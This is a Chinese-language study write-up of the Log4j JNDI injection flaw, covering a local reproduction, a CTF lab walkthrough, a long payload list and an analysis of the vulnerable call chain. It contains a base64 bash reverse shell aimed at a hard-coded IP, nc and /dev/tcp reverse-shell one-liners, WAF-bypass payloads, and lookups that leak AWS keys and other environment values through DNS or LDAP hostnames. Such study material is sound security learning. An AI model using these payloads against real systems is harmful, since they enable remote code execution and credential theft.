前言:这个漏洞很火,但是自己一直没咋研究过 算是抽空跟了下,总结了很多师傅的文章 写这篇文章进行记录下自己的学习过程吧
log4j漏洞复现
本地复现
这个很多人写了 可直接参考这个 https://cloud.tencent.com/developer/article/1917856
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class log4jRCE {
private static final Logger logger = LogManager.getLogger(log4jRCE.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://服务器的地址/TomcatBypass/Command/Base64/Y2FsYw==}");
}
}
这篇文章里面还缺了一点东西 就是idea生成jar文件的方法 这里一起写出来 ①打开模块设置 ②选模块
③选好主类以及生成的文件在哪些地方 ④选择包含在项目构建中然后点击应用 编译生成即可 但是对于这个我是失败了的 不知道啥原因
本地编写jar方法
①把java编写为class文件
javac Exploit.java
②把class编写为jar文件
java -jar Exploit.jar Exploit.class
在线靶场复现
这里以bugku上的靶场为例进行复现 https://ctf.bugku.com/challenges/detail/id/340.html 环境配置 ①ldap服务
服务器起一个ldap服务就好了 java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 服务器的地址 直接执行反弹shell 即直接配置bash反弹shell命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTYuMjI2LjY3Lzk5OTkgMD4mMQ}|{base64,-d}|{bash,-i}" -A "192.168.72.1"
②nc配置(windows的话) 起到获取flag的思路 https://eternallybored.org/misc/netcat/ 下载好后进行监听即可 nc -lvnp 端口
思路1 不反弹shell进行获取flag
user=${jndi:ldap://服务器的ip:1389/TomcatBypass/TomcatEcho}&pwd=69be4a983341add38e2ad1e5c804568a
思路2 进行反弹shell获取
常见反弹shell的思路
①nc ip 12345 -e /bin/sh
②bash -i >& /dev/tcp/启动nc服务器的ip/9999 0>&1
这台要用第一个命令,题目限定了
payload=${jndi:ldap:1/服务器ip:1389/basic/Command/Base64/二层转码之后的字符}
反弹shell后执行即可
知识点分析
受影响版本 Apache log4j 2.0-beta9 ≤ 2.14.1 组件 org.apache.logging.log4j,且版本号小于2.15.0-rc2
ldap基础知识以及服务原因
payload总结
参考知识点:来源团队的雪晴师傅的 https://www.yuque.com/yq1ng/java/pbica2#xrVeI 基础payload ${jndi:ldap://t00ls.com/poc 绕过的一些payload
${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}
信息泄露(主要是针对不出网的)
${jndi:ldap://${env:user}.domain.com/exp}
${jndi:dns://${hostName}.domain.com/a}
${jndi:dns://${env:COMPUTERNAME}.domain.com/a}
${jndi:dns://${env:USERDOMAIN}.domain.com/a}
${jndi:dns://${env:AWS_SECRET_ACCESS_KEY.domain.com/a}
${jndi:ldap://${ctx:loginId}.domain.com/j}
${jndi:ldap://${map:type}.domain.com/j}
${jndi:ldap://${filename}.domain.com/j}
${jndi:ldap://${date:MM-dd-yyyy}.domain.com/j}
${jndi:ldap://${docker:containerId}.domain.com/j}
${jndi:ldap://${docker:containerName}.domain.com/j}
${jndi:ldap://${docker:imageName}.domain.com/j}
${jndi:ldap://${env:USER}.domain.com/j}
${jndi:ldap://${event:Marker}.domain.com/j}
${jndi:ldap://${mdc:UserId}.domain.com/j}
${jndi:ldap://${java:runtime}.domain.com/j}
${jndi:ldap://${java:vm}.domain.com/j}
${jndi:ldap://${java:os}.domain.com/j}
${jndi:ldap://${jndi:logging/context-name}.domain.com/j}
${jndi:ldap://${hostName}.domain.com/j}
${jndi:ldap://${docker:containerId}.domain.com/j}
${jndi:ldap://${k8s:accountName}.domain.com/j}
${jndi:ldap://${k8s:clusterName}.domain.com/j}
${jndi:ldap://${k8s:containerId}.domain.com/j}
${jndi:ldap://${k8s:containerName}.domain.com/j}
${jndi:ldap://${k8s:host}.domain.com/j}
${jndi:ldap://${k8s:labels.app}.domain.com/j}
${jndi:ldap://${k8s:labels.podTemplateHash}.domain.com/j}
${jndi:ldap://${k8s:masterUrl}.domain.com/j}
${jndi:ldap://${k8s:namespaceId}.domain.com/j}
${jndi:ldap://${k8s:namespaceName}.domain.com/j}
${jndi:ldap://${k8s:podId}.domain.com/j}
${jndi:ldap://${k8s:podIp}.domain.com/j}
${jndi:ldap://${k8s:podName}.domain.com/j}
${jndi:ldap://${k8s:imageId}.domain.com/j}
${jndi:ldap://${k8s:imageName}.domain.com/j}
${jndi:ldap://${log4j:configLocation}.domain.com/j}
${jndi:ldap://${log4j:configParentLocation}.domain.com/j}
${jndi:ldap://${spring:spring.application.name}.domain.com/j}
${jndi:ldap://${main:myString}.domain.com/j}
${jndi:ldap://${main:0}.domain.com/j}
${jndi:ldap://${main:1}.domain.com/j}
${jndi:ldap://${main:2}.domain.com/j}
${jndi:ldap://${main:3}.domain.com/j}
${jndi:ldap://${main:4}.domain.com/j}
${jndi:ldap://${main:bar}.domain.com/j}
${jndi:ldap://${name}.domain.com/j}
${jndi:ldap://${marker}.domain.com/j}
${jndi:ldap://${marker:name}.domain.com/j}
${jndi:ldap://${spring:profiles.active[0].domain.com/j}
${jndi:ldap://${sys:logPath}.domain.com/j}
${jndi:ldap://${web:rootDir}.domain.com/j}
可检查的标头
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic
Authorization: Bearer
Authorization: Oauth
Authorization: Token
除ldap以外的其他构造方式
jndi:ldap:/
jndi:rmi:/
jndi:ldaps:/
jndi:dns:/
jndi:nis:/
jndi:nds:/
jndi:corba:/
jndi:iiop:/
jndi:${
可获取查找的信息
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
一张脑图(有一说一不是很懂这个)
批量验证工具
log4j批量检测工具 这个是主动检测的 但是自己测了下,发觉测不出东西 但是主动检测的太少了 还是把这个工具扔在这里
原理研究
基础知识点
JNDI 全名:Java命名和目录接口,自己理解就是定义一个名称去绑定对象或者资源进而进行操控 作用:将名称与java对象或资源关联起来,进行通过名称调用到对应的对象或者资源 可操控的目录与服务有: DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、WindowsXP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
运用方法: 如JNDI数据源配置(使用的原因 只配置一次①加载数据库驱动程序、②连接数据库、④关闭数据库,释放连接,减少性能消耗) 这个师傅讲的比较好了 这里就不讲了
参考链接
LDAP(轻量目录访问协议) LDAP目录服务:由目录数据库和一套访问协议组成的系统。 作用:即存储描述属性的数据和详细信息的数据库。 四种模型:
信息模型
命名模型
功能模型
安全模型
连接LDAP数据库方法:
$ldapconn = ldap_connect(“10.1.8.78")
$ldapbind = ldap_bind($ldapconn, 'username', $ldappass);
$searchRows= ldap_search($ldapconn, $basedn, "(cn=*)");
$searchResult = ldap_get_entries($ldapconn, $searchRows);
ldap_close($ldapconn);
lookup:允许在写日志的时候,通过关键词去查找对象,输出对象,并实现对象功能。这个对象可以存储在硬盘中或者服务器上。
这个漏洞调用的就是这个接口
Codebase 概念:一种服务 作用:存储代码或者编译文件作用,可通过名称进行编译文件或者获取代码。
RMI协议: 概念:远程方法调用协议,通过网络从远程计算机上请求调用某种服务。(只适合java)
原理:
1.客户调用客户端辅助对象stub上的方法
2.客户端辅助对象stub打包调用信息(变量,方法名),通过网络发送给服务端辅助对象skeleton
3.服务端辅助对象skeleton将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象
4.调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象skeleton
5.服务端辅助对象将结果打包,发送给客户端辅助对象stub
6.客户端辅助对象将返回值解包,返回给调用者
7.客户获得返回值
漏洞原理知识点:
加载原理:通过rmi进行从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类,进而造成RCE漏洞 详细跟进分析 完整的调用链
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:8, log4jRCE
这里要重点关注的几个点,其余的点几乎都是调用方法或者是进行过滤操作获取数字等
①这里进行判断了日志等级 如果是小于配置文件的即不能进入 this.logMessage()进行触发漏洞 日志等级 默认只要大于error()和fatal()可以触发漏洞就可以触发漏洞了 具体看配置情况
日志一共分为8个级别,由低到高依次为:All < Trace < Debug < Info < Warn < Error < Fatal < OFF。
1.All:最低等级的,用于打开所有日志记录。
2.Trace:是追踪,就是程序推进以下,你就可以写个trace输出,所以trace应该会特别多,不过没关系,我们可以设置最低日志级别不让他输出。
3.Debug:指出细粒度信息事件对调试应用程序是非常有帮助的。
4.Info:消息在粗粒度级别上突出强调应用程序的运行过程。
5.Warn:输出警告及warn以下级别的日志。
6.Error:输出错误信息日志。
7.Fatal:输出每个严重的错误事件将会导致应用程序的退出的日志。
8.OFF:最高等级的,用于关闭所有日志记录。
配置的最低等级的文件数值在org/apache/logging/log4j/spi/StandardLevel.java中
②log:460, LoggerConfig (org.apache.logging.log4j.core.config)这个地方 上面的东西查了下感觉就是线程相关所以可以不看 核心还是log的方法
③MessagePatternConverter方法 ④跟replace方法 调用substitute方法 先调用一个substitute的方法 然后调用另外一个substitute的重载函数进行处理数据 ⑤研究substitute方法 初始化定义的一些变量名
采用while循环逐个去寻找前缀这里的前缀定义即是$和{字符 进行前缀匹配
寻找后缀唯一区别就是可以理解为一个从前查找一个从后查找
然后进行匹配 :- 和 : 对于这种字符的处理 看一个师傅的说法是 :- 赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb :- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。 这也是绕waf的的一些原因
因此结合这些递归解析以及特性我们可以进行绕waf
构造出一些类似于如此的一些payload去绕
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
然后在匹配完后调用resolveVariable解析满足 Lookup 功能的语法 也就是这里调用的lookup去产生漏洞的
如支持的协议 即按照协议的语法去进行解析 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j 这里的作用是 进行执行完lookup,然后将结果替换回原字符串后,再次调用 substitute 方法进行递归解析
⑥跟lookup方法:产生漏洞的核心原因 然后接着跟 发觉核心就两部分 ①判断前缀部分 ②调用执行部分即调用jndiManager.lookup解析请求,最终形成注入漏洞.
|